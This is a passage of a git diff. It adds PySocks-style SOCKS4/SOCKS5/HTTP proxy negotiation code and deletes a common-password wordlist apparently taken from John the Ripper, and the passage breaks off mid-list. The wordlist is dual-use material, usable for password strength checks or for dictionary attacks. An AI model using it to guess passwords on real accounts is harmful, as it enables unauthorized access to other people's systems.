SOCKS5 request with given command (CMD field) and + address (DST field). Returns resolved DST address that was used. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = conn.makefile("wb") + reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # First we'll send the authentication packages we support. + if username and password: + # The username/password details were supplied to the + # set_proxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + writer.write(b"\x05\x02\x00\x02") + else: + # No username/password were entered, therefore we + # only support connections with no authentication. + writer.write(b"\x05\x01\x00") + + # We'll receive the server's response to determine which + # method was selected + writer.flush() + chosen_auth = self._readall(reader, 2) + + if chosen_auth[0:1] != b"\x05": + # Note: string[i:i+1] is used because indexing of a bytestring + # via bytestring[i] yields an integer in Python 3 + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Check the chosen authentication method + + if chosen_auth[1:2] == b"\x02": + # Okay, we need to perform a basic username/password + # authentication. + if not (username and password): + # Although we said we don't support authentication, the + # server may still request basic username/password + # authentication + raise SOCKS5AuthError("No username/password supplied. " + "Server requested username/password" + " authentication") + + writer.write(b"\x01" + chr(len(username)).encode() + + username + + chr(len(password)).encode() + + password) + writer.flush() + auth_status = self._readall(reader, 2) + if auth_status[0:1] != b"\x01": + # Bad response + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + if auth_status[1:2] != b"\x00": + # Authentication failed + raise SOCKS5AuthError("SOCKS5 authentication failed") + + # Otherwise, authentication succeeded + + # No authentication is required if 0x00 + elif chosen_auth[1:2] != b"\x00": + # Reaching here is always bad + if chosen_auth[1:2] == b"\xFF": + raise SOCKS5AuthError( + "All offered SOCKS5 authentication methods were" + " rejected") + else: + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Now we can request the actual connection + writer.write(b"\x05" + cmd + b"\x00") + resolved = self._write_SOCKS5_address(dst, writer) + writer.flush() + + # Get the response + resp = self._readall(reader, 3) + if resp[0:1] != b"\x05": + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x00: + # Connection failed: server returned an error + error = SOCKS5_ERRORS.get(status, "Unknown error") + raise SOCKS5Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + bnd = self._read_SOCKS5_address(reader) + + super(socksocket, self).settimeout(self._timeout) + return (resolved, bnd) + finally: + reader.close() + writer.close() + + def _write_SOCKS5_address(self, addr, file): + """ + Return the host and port packed for the SOCKS5 protocol, + and the resolved address as a tuple object. + """ + host, port = addr + proxy_type, _, _, rdns, username, password = self.proxy + family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} + + # If the given destination address is an IP address, we'll + # use the IP address request even if remote resolving was specified. + # Detect whether the address is IPv4/6 directly. + for family in (socket.AF_INET, socket.AF_INET6): + try: + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + except socket.error: + continue + + # Well it's not an IP number, so it's probably a DNS name. + if rdns: + # Resolve remotely + host_bytes = host.encode("idna") + file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) + else: + # Resolve locally + addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, + socket.SOCK_STREAM, + socket.IPPROTO_TCP, + socket.AI_ADDRCONFIG) + # We can't really work out what IP is reachable, so just pick the + # first. + target_addr = addresses[0] + family = target_addr[0] + host = target_addr[4][0] + + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + + def _read_SOCKS5_address(self, file): + atyp = self._readall(file, 1) + if atyp == b"\x01": + addr = socket.inet_ntoa(self._readall(file, 4)) + elif atyp == b"\x03": + length = self._readall(file, 1) + addr = self._readall(file, ord(length)) + elif atyp == b"\x04": + addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) + else: + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") + + port = struct.unpack(">H", self._readall(file, 2))[0] + return addr, port + + def _negotiate_SOCKS4(self, dest_addr, dest_port): + """Negotiates a connection through a SOCKS4 server.""" + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = self.makefile("wb") + reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 + try: + # Check if the destination address provided is an IP address + remote_resolve = False + try: + addr_bytes = socket.inet_aton(dest_addr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if rdns: + addr_bytes = b"\x00\x00\x00\x01" + remote_resolve = True + else: + addr_bytes = socket.inet_aton( + socket.gethostbyname(dest_addr)) + + # Construct the request packet + writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) + writer.write(addr_bytes) + + # The username parameter is considered userid for SOCKS4 + if username: + writer.write(username) + writer.write(b"\x00") + + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if remote_resolve: + writer.write(dest_addr.encode("idna") + b"\x00") + writer.flush() + + # Get the response from the server + resp = self._readall(reader, 8) + if resp[0:1] != b"\x00": + # Bad data + raise GeneralProxyError( + "SOCKS4 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x5A: + # Connection failed: server returned an error + error = SOCKS4_ERRORS.get(status, "Unknown error") + raise SOCKS4Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + self.proxy_sockname = (socket.inet_ntoa(resp[4:]), + struct.unpack(">H", resp[2:4])[0]) + if remote_resolve: + self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port + else: + self.proxy_peername = dest_addr, dest_port + finally: + reader.close() + writer.close() + + def _negotiate_HTTP(self, dest_addr, dest_port): + """Negotiates a connection through an HTTP server. + + NOTE: This currently only supports HTTP CONNECT-style proxies.""" + proxy_type, addr, port, rdns, username, password = self.proxy + + # If we need to resolve locally, we do this now + addr = dest_addr if rdns else socket.gethostbyname(dest_addr) + + http_headers = [ + (b"CONNECT " + addr.encode("idna") + b":" + + str(dest_port).encode() + b" HTTP/1.1"), + b"Host: " + dest_addr.encode("idna") + ] + + if username and password: + http_headers.append(b"Proxy-Authorization: basic " + + b64encode(username + b":" + password)) + + http_headers.append(b"\r\n") + + self.sendall(b"\r\n".join(http_headers)) + + # We just need the first line to check if the connection was successful + fobj = self.makefile() + status_line = fobj.readline() + fobj.close() + + if not status_line: + raise GeneralProxyError("Connection closed unexpectedly") + + try: + proto, status_code, status_msg = status_line.split(" ", 2) + except ValueError: + raise GeneralProxyError("HTTP proxy server sent invalid response") + + if not proto.startswith("HTTP/"): + raise GeneralProxyError( + "Proxy server does not appear to be an HTTP proxy") + + try: + status_code = int(status_code) + except ValueError: + raise HTTPError( + "HTTP proxy server did not return a valid HTTP status") + + if status_code != 200: + error = "{}: {}".format(status_code, status_msg) + if status_code in (400, 403, 405): + # It's likely that the HTTP proxy server does not support the + # CONNECT tunneling method + error += ("\n[*] Note: The HTTP proxy server may not be" + " supported by PySocks (must be a CONNECT tunnel" + " proxy)") + raise HTTPError(error) + + self.proxy_sockname = (b"0.0.0.0", 0) + self.proxy_peername = addr, dest_port + + _proxy_negotiators = { + SOCKS4: _negotiate_SOCKS4, + SOCKS5: _negotiate_SOCKS5, + HTTP: _negotiate_HTTP + } + + @set_self_blocking + def connect(self, dest_pair, catch_errors=None): + """ + Connects to the specified destination through a proxy. + Uses the same API as socket's connect(). + To select the proxy server, use set_proxy(). + + dest_pair - 2-tuple of (IP/hostname, port). + """ + if len(dest_pair) != 2 or dest_pair[0].startswith("["): + # Probably IPv6, not supported -- raise an error, and hope + # Happy Eyeballs (RFC6555) makes sure at least the IPv4 + # connection works... + raise socket.error("PySocks doesn't support IPv6: %s" + % str(dest_pair)) + + dest_addr, dest_port = dest_pair + + if self.type == socket.SOCK_DGRAM: + if not self._proxyconn: + self.bind(("", 0)) + dest_addr = socket.gethostbyname(dest_addr) + + # If the host address is INADDR_ANY or similar, reset the peer + # address so that packets are received from any peer + if dest_addr == "0.0.0.0" and not dest_port: + self.proxy_peername = None + else: + self.proxy_peername = (dest_addr, dest_port) + return + + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + + # Do a minimal input check first + if (not isinstance(dest_pair, (list, tuple)) + or len(dest_pair) != 2 + or not dest_addr + or not isinstance(dest_port, int)): + # Inputs failed, raise an error + raise GeneralProxyError( + "Invalid destination-connection (host, port) pair") + + # We set the timeout here so that we don't hang in connection or during + # negotiation. + super(socksocket, self).settimeout(self._timeout) + + if proxy_type is None: + # Treat like regular socket object + self.proxy_peername = dest_pair + super(socksocket, self).settimeout(self._timeout) + super(socksocket, self).connect((dest_addr, dest_port)) + return + + proxy_addr = self._proxy_addr() + + try: + # Initial connection to proxy server. + super(socksocket, self).connect(proxy_addr) + + except socket.error as error: + # Error while connecting to proxy + self.close() + if not catch_errors: + proxy_addr, proxy_port = proxy_addr + proxy_server = "{}:{}".format(proxy_addr, proxy_port) + printable_type = PRINTABLE_PROXY_TYPES[proxy_type] + + msg = "Error connecting to {} proxy {}".format(printable_type, + proxy_server) + log.debug("%s due to: %s", msg, error) + raise ProxyConnectionError(msg, error) + else: + raise error + + else: + # Connected to proxy server, now negotiate + try: + # Calls negotiate_{SOCKS4, SOCKS5, HTTP} + negotiate = self._proxy_negotiators[proxy_type] + negotiate(self, dest_addr, dest_port) + except socket.error as error: + if not catch_errors: + # Wrap socket errors + self.close() + raise GeneralProxyError("Socket error", error) + else: + raise error + except ProxyError: + # Protocol error while negotiating with proxy + self.close() + raise + + @set_self_blocking + def connect_ex(self, dest_pair): + """ https://docs.python.org/3/library/socket.html#socket.socket.connect_ex + Like connect(address), but return an error indicator instead of raising an exception for errors returned by the C-level connect() call (other problems, such as "host not found" can still raise exceptions). + """ + try: + self.connect(dest_pair, catch_errors=True) + return 0 + except OSError as e: + # If the error is numeric (socket errors are numeric), then return number as + # connect_ex expects. Otherwise raise the error again (socket timeout for example) + if e.errno: + return e.errno + else: + raise + + def _proxy_addr(self): + """ + Return proxy address to connect to as tuple object + """ + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + if not proxy_port: + raise GeneralProxyError("Invalid proxy type") + return proxy_addr, proxy_port diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt deleted file mode 100644 index b2f7356939..0000000000 --- a/src/txt/passwords_john.txt +++ /dev/null @@ -1,3107 +0,0 @@ -12345 -abc123 -password -computer -123456 -tigger -1234 -a1b2c3 -qwerty -123 -xxx -money -test -carmen -mickey -secret -summer -internet -service - -canada -hello -ranger -shadow -baseball -donald -harley -hockey -letmein -maggie -mike -mustang -snoopy -buster -dragon -jordan -michael -michelle -mindy -patrick -123abc -andrew -bear -calvin -changeme -diamond -fuckme -fuckyou -matthew -miller -ou812 -tiger -trustno1 -12345678 -alex -apple -avalon -brandy -chelsea -coffee -dave -falcon -freedom -gandalf -golf -green -helpme -linda -magic -merlin -molson -newyork -soccer -thomas -wizard -Monday -asdfgh -bandit -batman -boris -butthead -dorothy -eeyore -fishing -football -george -happy -iloveyou -jennifer -jonathan -love -marina -master -missy -monday -monkey -natasha -ncc1701 -newpass -pamela -pepper -piglet -poohbear -pookie -rabbit -rachel -rocket -rose -smile -sparky -spring -steven -success -sunshine -thx1138 -victoria -whatever -zapata -1 -8675309 -Internet -amanda -andy -angel -august -barney -biteme -boomer -brian -casey -coke -cowboy -delta -doctor -fisher -foobar -island -john -joshua -karen -marley -orange -please -rascal -richard -sarah -scooter -shalom -silver -skippy -stanley -taylor -welcome -zephyr -111111 -1928 -aaaaaa -abc -access -albert -alexander -andrea -anna -anthony -asdfjkl; -ashley -basf -basketball -beavis -black -bob -booboo -bradley -brandon -buddy -caitlin -camaro -charlie -chicken -chris -cindy -cricket -dakota -dallas -daniel -david -debbie -dolphin -elephant -emily -fish -fred -friend -fucker -ginger -goodluck -hammer -heather -help -iceman -jason -jessica -jesus -joseph -jupiter -justin -kevin -knight -lacrosse -lakers -lizard -madison -mary -mother -muffin -murphy -ncc1701d -newuser -nirvana -none -paris -pat -pentium -phoenix -picture -rainbow -sandy -saturn -scott -shannon -shithead -skeeter -sophie -special -stephanie -stephen -steve -sweetie -teacher -tennis -test123 -tommy -topgun -tristan -wally -william -wilson -1q2w3e -654321 -666666 -777 -a12345 -a1b2c3d4 -alpha -amber -angela -angie -archie -asdf -blazer -bond007 -booger -charles -christin -claire -control -danny -david1 -dennis -digital -disney -dog -duck -duke -edward -elvis -felix -flipper -floyd -franklin -frodo -guest -honda -horses -hunter -indigo -info -james -jasper -jeremy -joe -julian -kelsey -killer -kingfish -lauren -marie -maryjane -matrix -maverick -mayday -mercury -micro -mitchell -morgan -mountain -niners -nothing -oliver -peace -peanut -pearljam -phantom -popcorn -princess -psycho -pumpkin -purple -randy -rebecca -reddog -robert -rocky -roses -salmon -sam -samson -sharon -sierra -smokey -startrek -steelers -stimpy -sunflower -superman -support -sydney -techno -telecom -test1 -walter -willie -willow -winner -ziggy -zxcvbnm -7777 -OU812 -a -absolut -alaska -alexis -alice -animal -apples -babylon5 -backup -barbara -benjamin -bill -billy -bird33 -blue -bluebird -bobby -bonnie -bubba -camera -chocolate -clark -claudia -cocacola -compton -connect -cookie -cruise -deliver -douglas -dreamer -dreams -duckie -eagles -eddie -einstein -enter -explorer -faith -family -ferrari -fire -flamingo -flip -flower -foxtrot -francis -freddy -friday -froggy -galileo -giants -gizmo -global -goofy -gopher -hansolo -happy1 -hendrix -henry -herman -homer -honey -house -houston -iguana -indiana -insane -inside -irish -ironman -jake -jane -jasmin -jeanne -jerry -jim -joey -justice -katherine -kermit -kitty -koala -larry -leslie -logan -lucky -mark -martin -matt -minnie -misty -mitch -mom -mouse -nancy -nascar -nelson -netware -pantera -parker -passwd -penguin -peter -phil -phish -piano -pizza -porsche911 -prince -punkin -pyramid -rain -raymond -red -robin -roger -rosebud -route66 -royal -running -sadie -sasha -security -sergei -sheena -sheila -skiing -snapple -snowball -sparrow -spencer -spike -star -stealth -student -sun -sunny -sylvia -tamara -taurus -tech -teresa -theresa -thunderbird -tigers -tony -toyota -training -travel -truck -tuesday -victory -video -viper1 -volvo -wesley -whisky -winnie -winter -wolves -xyz123 -zorro -!@#$% -007 -123123 -1234567 -1969 -5683 -696969 -888888 -Anthony -Bond007 -Friday -Hendrix -Joshua -Matthew -October -Taurus -Tigger -aaa -aaron -abby -abcdef -adidas -adrian -alexandr -alfred -arthur -athena -austin -awesome -badger -bamboo -beagle -bears -beatles -beautiful -beaver -benny -bigmac -bingo -bitch -blonde -boogie -boston -brenda -bright -bubba1 -bubbles -buffy -button -buttons -cactus -candy -captain -carlos -caroline -carrie -casper -catalog -catch22 -challenge -chance -charity -charlotte -cheese -cheryl -chloe -chris1 -clancy -clipper -coltrane -compaq -conrad -cooper -cooter -copper -cosmos -cougar -cracker -crawford -crystal -curtis -cyclone -cyrano -dan -dance -dawn -dean -deutsch -diablo -dilbert -dollars -dookie -doom -dumbass -dundee -e-mail -elizabeth -eric -europe -export -farmer -firebird -fletcher -fluffy -ford -fountain -fox -france -freak1 -friends -frog -fuckoff -gabriel -gabriell -galaxy -gambit -garden -garfield -garlic -garnet -genesis -genius -godzilla -goforit -golfer -goober -grace -grateful -greenday -groovy -grover -guitar -hacker -harry -hazel -hector -herbert -hoops -horizon -hornet -howard -icecream -imagine -impala -informix -jack -janice -jasmine -jason1 -jeanette -jeffrey -jenifer -jenni -jesus1 -jewels -joker -julie -julie1 -junior -justin1 -kathleen -keith -kelly -kelly1 -kennedy -kevin1 -knicks -lady -larry1 -ledzep -lee -leonard -lestat -library -lincoln -lionking -london -louise -lucky1 -lucy -maddog -mailman -majordomo -mantra -margaret -mariposa -market -marlboro -martin1 -marty -master1 -mazda1 -mensuck -mercedes -metal -metallic -midori -mikey -millie -mirage -mmm -molly -monet -money1 -monica -monopoly -mookie -moose -moroni -music -naomi -nathan -ncc1701e -nesbitt -news -nguyen -nicholas -nicole -nimrod -october -olive -olivia -one -online -open -oscar -oxford -pacific -painter -peaches -penelope -pepsi -pete -petunia -philip -phoenix1 -photo -pickle -player -poiuyt -porsche -porter -ppp -puppy -python -quality -quest -raquel -raven -remember -republic -research -robbie -robert1 -roman -rugby -runner -russell -ryan -sailing -sailor -samantha -savage -sbdc -scarlett -school -sean -seven -shadow1 -sheba -shelby -shit -shoes -simba -simple -skipper -smiley -snake -snickers -sniper -snoopdog -snowman -sonic -spitfire -sprite -spunky -starwars -station -stella -stingray -storm -stormy -stupid -sumuinen -sunny1 -sunrise -supra -surfer -susan -tammy -tango -tanya -tara -teddy1 -temp -testing -theboss -theking -thumper -tina -tintin -tomcat -trebor -trek -trevor -tweety -unicorn -valentine -valerie -vanilla -veronica -victor -vincent -viper -warrior -warriors -weasel -wheels -wilbur -winston -wisdom -wombat -xanadu -xavier -xxxx -yellow -zaphod -zeppelin -zeus -!@#$%^ -!@#$%^&* -* -0007 -1022 -10sne1 -1111 -1212 -1911 -1948 -1973 -1978 -1996 -1p2o3i -2000 -2222 -3bears -5252 -Andrew -Broadway -Champs -Family -Fisher -Friends -Jeanne -Killer -Knight -Master -Michael -Michelle -Pentium -Pepper -Raistlin -Sierra -Snoopy -Tennis -Tuesday -abacab -abcd -abcd1234 -abcdefg -abigail -account -ace -acropolis -adam -adi -alex1 -alice1 -allison -alpine -amy -anders -andre1 -andrea1 -angel1 -anita -annette -antares -apache -apollo -aragorn -arizona -arnold -arsenal -asdfasdf -asdfg -asdfghjk -avenger -avenir -baby -babydoll -bach -bailey -banana -barry -basil -basket -bass -batman1 -beaner -beast -beatrice -beer -bella -ben -bertha -bigben -bigdog -biggles -bigman -binky -biology -bishop -bliss -blondie -blowfish -bluefish -bmw -bobcat -bosco -boss -braves -brazil -bridges -bruce -bruno -brutus -buck -buffalo -bugsy -bull -bulldog -bullet -bullshit -bunny -business -butch -butler -butter -california -cannondale -canon -carebear -carol -carol1 -carole -cassie -castle -catalina -catherine -catnip -cccccc -celine -center -champion -chanel -chaos -chelsea1 -chester1 -chicago -chico -chip -christian -christy -church -cinder -civil -colleen -colorado -columbia -commander -connie -content -cook -cookies -cooking -cordelia -corona -cowboys -coyote -crack1 -craig -creative -crow -cuddles -cuervo -cutie -cyber -daddy -daisie -daisy -daniel1 -danielle -dark1 -database -davids -deadhead -death -denali -denis -depeche -derek -design -destiny -diana -diane -dickens -dickhead -digger -dodger -don -donna -dougie -draft -dragonfly -dylan -eagle -eclipse -electric -emerald -emmitt -entropy -etoile -excalibur -express -farout -farside -feedback -fender -fidel -fiona -fireman -firenze -fish1 -flash -fletch -florida -flowers -fool -foster -fozzie -francesco -francine -francois -frank -french -fuckface -fun -gargoyle -gasman -gemini -general -gerald -germany -gilbert -goaway -gold -golden -goldfish -goose -gordon -graham -grant -graphic -gregory -gretchen -gunner -hal9000 -hannah -harold -harrison -harvey -hawkeye -heaven -heidi -helen -helena -hell -herzog -hithere -hobbit -huey -ibanez -idontknow -image -integra -intern -intrepid -ireland -irene -isaac -isabel -jackie -jackson -jaguar -jamaica -japan -jeff -jenny1 -jessie -jethrotull -jkl123 -joel -johan -johanna1 -johnny -joker1 -jordan23 -judith -julia -jumanji -jussi -kangaroo -karen1 -kathy -keepout -keith1 -kenneth -kidder -kim -kimberly -king -kingdom -kirk -kitkat -kramer -kris -kristen -lambda -laura -laurie -law -lawrence -lawyer -legend -leon -liberty -light -lindsay -lindsey -lisa -liverpool -logical -lola -lonely -lorrie -louis -lovely -loveme -lucas -m -madonna -mail -major -malcolm -malibu -marathon -marcel -maria1 -mariah -mariah1 -marilyn -mariner -mario -mark1 -marvin -maurice -max -maxine -maxwell -me -media -meggie -melanie -melissa -melody -merlot -mexico -michael1 -michele -midnight -midway -mike1 -miki -mine -miracle -misha -mishka -mmouse -molly1 -monique -montreal -moocow -moon -moore -mopar -morris -mort -mortimer -mouse1 -mulder -nautica -nellie -nermal -new -newton -nicarao -nick -nina -nirvana1 -nissan -norman -notebook -ocean -olivier -ollie -olsen -opera -opus -oranges -oregon -orion -overkill -pacers -packer -panda -pandora -panther -passion -patricia -pearl -peewee -pencil -penny -people -percy -person -peter1 -petey -picard -picasso -pierre -pinkfloyd -pit -plus -polar -polaris -police -polo -pookie1 -poppy -power -predator -preston -primus -prometheus -public -q1w2e3 -queen -queenie -quentin -radio -ralph -random -rangers -raptor -rastafarian -reality -redrum -remote -reptile -reynolds -rhonda -ricardo -ricardo1 -ricky -river -roadrunner -rob -robinhood -robotech -rocknroll -rocky1 -rodeo -rolex -ronald -rouge -roxy -roy -ruby -ruthie -sabrina -sakura -salasana -sally -sampson -samuel -sandra -santa -sapphire -scarecrow -scarlet -scorpio -scott1 -scottie -scout -scruffy -scuba1 -seattle -serena -sergey -shanti -shark -shogun -simon -singer -skibum -skull -skunk -skywalker -slacker -smashing -smiles -snowflake -snowski -snuffy -soccer1 -soleil -sonny -sound -spanky -speedy -spider -spooky -stacey -star69 -start -starter -steven1 -sting1 -stinky -strawberry -stuart -sugar -sunbird -sundance -superfly -suzanne -suzuki -swimmer -swimming -system -taffy -tarzan -tbird -teddy -teddybear -teflon -temporal -terminal -terry -the -theatre -thejudge -thunder -thursday -time -tinker -toby -today -tokyo -tootsie -tornado -tracy -tree -tricia -trident -trojan -trout -truman -trumpet -tucker -turtle -tyler -utopia -vader -val -valhalla -visa -voyager -warcraft -warlock -warren -water -wayne -wendy -williams -willy -win95 -windsurf -winona -wolf -wolf1 -woody -woofwoof -wrangler -wright -www -xcountry -xfiles -xxxxxx -y -yankees -yoda -yukon -yvonne -zebra -zenith -zigzag -zombie -zxc123 -zxcvb -zzz -000000 -007007 -11111 -11111111 -1213 -1214 -1225 -123321 -1313 -1316 -1332 -1412 -1430 -171717 -1818 -181818 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1975 -1977 -1991 -1a2b3c -1chris -1kitty -1qw23e -2001 -2020 -2112 -22 -2200 -2252 -2kids -3010 -3112 -3141 -333 -3533 -4055 -4444 -4788 -4854 -4runner -5050 -5121 -54321 -55555 -57chevy -6262 -6301 -6969 -7777777 -789456 -7dwarfs -88888888 -Abcdefg -Alexis -Alpha -Animals -Ariel -BOSS -Bailey -Bastard -Beavis -Bismillah -Bonzo -Booboo -Boston -Canucks -Cardinal -Carol -Celtics -ChangeMe -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Figaro -Fishing -Fortune -Freddy -Front242 -Gandalf -Geronimo -Gingers -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Henry -Hershey -Homer -Jackson -Janet -Jennifer -Jersey -Jessica -Joanna -Johnson -Jordan -KILLER -Katie -Kitten -Liberty -Lindsay -Lizard -Madeline -Margaret -Maxwell -Mellon -Merlot -Metallic -Michel1 -Money -Monster -Montreal -Newton -Nicholas -Noriko -Paladin -Pamela -Password -Peaches -Peanuts -Peter -Phoenix -Piglet -Pookie -Princess -Purple -Rabbit -Raiders -Random -Rebecca -Robert -Russell -Sammy -Saturn -Service -Shadow -Sidekick -Skeeter -Smokey -Sparky -Speedy -Sterling -Steven -Summer -Sunshine -Superman -Sverige -Swoosh -Taylor -Theresa -Thomas -Thunder -Vernon -Victoria -Vincent -Waterloo -Webster -Willow -Winnie -Wolverine -Woodrow -World -aa -aaaa -aardvark -abbott -abcd123 -abcde -accord -active -acura -adg -admin -admin1 -adrock -aerobics -africa -agent -airborne -airwolf -aki123 -alfaro -ali -alicia -alien -aliens -alina -aline -alison -allegro -allen -allstate -aloha -alpha1 -altamira -althea -altima -altima1 -amanda1 -amazing -america -amour -anderson -andre -andrew! -andrew1 -andromed -angels -angie1 -ann -anne -anneli -annie -anything -apple1 -apple2 -applepie -april -aptiva -aqua -aquarius -ariane -ariel -arlene -arrow -artemis -asdf1234 -asdf;lkj -asdfjkl -ashley1 -ashraf -ashton -assmunch -asterix -attila -autumn -avatar -ayelet -aylmer -babes -bambi -baraka -barbie -barn -barney1 -barnyard -barrett -bart -bartman -bball -beaches -beanie -beans -beasty -beauty -beavis1 -bebe -becca -belgium -belize -belle -belmont -benji -benson -beowulf -bernardo -berry -beryl -best -beta -betacam -betsy -betty -bharat -bichon -bigal -bigboss -bigred -biker -bilbo -bills -billy1 -bimmer -bioboy -biochem -birdie -birdy -birthday -biscuit -bitter -biz -blackjack -blah -blanche -blinds -blitz -blood -blowjob -blowme -blueeyes -bluejean -blues -boat -bogart -bogey -bogus -bombay -boobie -boots -bootsie -boulder -bourbon -boxer -boxers -bozo -brain -branch -brandi -brent -brewster -bridge -britain -broker -bronco -bronte -brooke -brother -bryan -bubble -bucks -buddha -budgie -buffett -bugs -bulls -burns -burton -butterfly -buzz -byron -c00per -calendar -calgary -calvin1 -camay -camel -camille -campbell -camping -cancer -canela -cannon -car -carbon -carl -carnage -carolyn -carrot -cascade -cat -catfish -cathy -catwoman -cecile -celica -cement -cessna -chad -chainsaw -chameleon -chang -change -chantal -charger -chat -cherry -chess -chiara -chiefs -china -chinacat -chinook -chouette -chris123 -christ1 -christmas -christopher -chronos -chuck -cicero -cindy1 -cinema -circuit -cirque -cirrus -civic -clapton -clarkson -class -claude -claudel -cleo -cliff -clock -clueless -cobain -cobra -cody -colette -college -color -colors -colt45 -comet -concept -concorde -confused -cool -coolbean -cora -corky -cornflake -corvette -corwin -cosmo -country -courier -cows -crescent -cross -crowley -crusader -cthulhu -cuda -cunningham -cunt -cupcake -current -cutlass -cynthia -daedalus -dagger -dagger1 -daily -dale -dammit -damogran -dana -dancer -daphne -darkstar -darren -darryl -darwin -data1 -datatrain -daytek -dead -deborah -december -decker -deedee -deeznuts -def -delano -delete -demon -denise -denny -desert -deskjet -detroit -devil -devine -devon -dexter -dharma -dianne -diesel -dillweed -dim -dipper -director -disco -dixie -dixon -doc -dodgers -dogbert -doggy -doitnow -dollar -dolly -dominique -domino -dontknow -doogie -doors -dork -doudou -doug -downtown -dragon1 -driver -dude -dudley -dutch -dutchess -dwight -eagle1 -easter -eastern -edith -edmund -effie -eieio -eight -element -elina1 -elissa -ella -ellen -elliot -elsie -empire -engage -enigma -enterprise -eric1 -erin -ernie1 -escort -escort1 -estelle -eugene -evelyn -excel -explore -eyal -faculty -fairview -family1 -fatboy -faust -felipe -fenris -ferguson -ferret -ferris -finance -fireball -first -fishes -fishhead -fishie -flanders -fleurs -flight -florida1 -flowerpot -flute -fly -flyboy -flyer -forward -franka -freddie -frederic -free -freebird -freeman -frisco -fritz -froggie -froggies -frogs -front242 -frontier -fucku -fugazi -funguy -funtime -future -fuzz -gabby -gaby -gaelic -gambler -games -gammaphi -garcia -garfunkel -garth -gary -gaston -gateway -gateway2 -gator1 -george1 -georgia -german -germany1 -getout -ggeorge -ghost -gibbons -gibson -gigi -gilgamesh -giselle -glider1 -gmoney -goat -goblin -goblue -godiva -goethe -gofish -gollum -gone -good -gramps -grandma -gravis -gray -greed -greg -greg1 -gremlin -greta -gretzky -grizzly -grumpy -guess -guido -guitar1 -gumby -gustavo -h2opolo -haggis -haha -hailey -hal -halloween -hallowell -hamid -hamilton -hamlet -hank -hanna -hanson -happy123 -happyday -hardcore -harley1 -haro -harriet -harris -harvard -hawk -hawkeye1 -health -health1 -heart -heather1 -heather2 -hedgehog -heikki -helene -hello1 -hello123 -hello8 -hellohello -help123 -helper -hermes -heythere -highland -hilda -hillary -histoire -history -hitler -hobbes -holiday -holly -homerj -honda1 -hongkong -hoosier -hootie -hope -horse -hosehead -hotrod -huang -hudson -hugh -hugo -hummer -huskies -hydrogen -i -ib6ub9 -idiot -if6was9 -iforget -ilmari -iloveu -impact -indonesia -ingvar -insight -instruct -integral -iomega -irina -iris -irmeli -isabelle -israel -italia -italy -izzy -j0ker -j1l2t3 -jackie1 -jacob -jakey -james1 -jamesbond -jamie -jamjam -jan -jazz -jean -jedi -jeepster -jeffrey1 -jennie -jenny -jensen -jer -jesse -jesse1 -jester -jethro -jetta1 -jimbob -jimi -jimmy -joanie -joanna -joelle -john316 -jordie -jorge -josee -josh -journey -joy -joyce -jubilee -juhani -jules -julia2 -julien -juliet -jumbo -jump -junebug -juniper -justdoit -justice4 -kalamazo -kali -karin -karine -karma -kat -kate -katerina -katie -katie1 -kayla -kcin -keeper -keller -kendall -kenny -kerala -kerrya -ketchup -khan -kids -kings -kissa2 -kissme -kitten -kittycat -kiwi -kkkkkk -kleenex -kombat -kristi -kristine -lab1 -labtec -laddie -ladybug -lamer -lance -laser -laserjet -lassie1 -laurel -lawson -leader -leaf -leblanc -legal -leland -lemon -leo -lester -letter -letters -lev -lexus1 -libra -life -lights -lima -lionel -lions -lissabon -little -liz -lizzy -logger -logos -loislane -loki -lolita -lonestar -longer -longhorn -looney -loren -lori -lorna -loser -lost -lotus -lou -lovers -loveyou -lucia -lucifer -lucky14 -macha -macross -macse30 -maddie -madmax -madoka -magic1 -magnum -maiden -maine -makeitso -mallard -manageme -manson -manuel -marc -marcus -maria -marielle -marine -marino -marshall -mart -martha -math -matti1 -mattingly -maxmax -meatloaf -mech -mechanic -medical -megan -meister -melina -memphis -mercer -merde -mermaid -merrill -miami -michal -michel -michigan -michou -mickel -mickey1 -microsoft -midvale -mikael -milano -miles -millenium -million -minou -miranda -miriam -mission -mmmmmm -mobile -mobydick -modem -mojo -monkey1 -monroe -montana -montana3 -montrose -monty -moomoo -moonbeam -morecats -morpheus -motor -motorola -movies -mowgli -mozart -mulder1 -munchkin -murray -muscle -mustang1 -nadia -nadine -napoleon -nation -national -neil -neko -nesbit -nestle -neutrino -newaccount -newlife -newyork1 -nexus6 -nichole -nicklaus -nightshadow -nightwind -nike -nikita 